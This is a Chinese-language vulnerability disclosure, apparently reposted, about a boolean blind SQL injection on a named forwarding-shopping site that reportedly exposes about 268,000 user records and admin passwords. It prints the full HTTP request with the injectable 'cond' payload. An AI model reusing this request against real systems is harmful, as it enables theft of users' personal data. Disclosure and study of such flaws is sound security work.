百世旗下海淘转运平台另一处SQL注入(涉及近27W用户信息)企业安全分享!

百世旗下海淘转运平台另一处SQL注入(涉及近27W用户信息)

这次看了下……貌似用户量变多了……
%ignore_a_1% count(*) from osShipUser;: &＃39;268703&＃39;

用户登录后，在可以任意新建一个订单，然后再查询可以进行BOOL型盲注

抓包：

POST /member/ashx/noticeList.ashx HTTP/1.1

Host: member.360hitao.com

Proxy-Connection: keep-alive

Content-Length: 60

Accept: */*

Origin: http://member.360hitao.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://member.360hitao.com/member/noticeList.aspx

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

COOKIE:略去

CurrentPage=1&methods=Paging&cOnd=2%26%26%26%261%26%26%26%26

cond参数可以注入

依旧可以得到管理员密码和用户的数据：

解决方案：

实在不行上waf吧，或者网站重新开发下……

另外真的会有小礼物吗？O.O

—-想了解更多的企业安全相关处理怎么解决关注<编程笔记>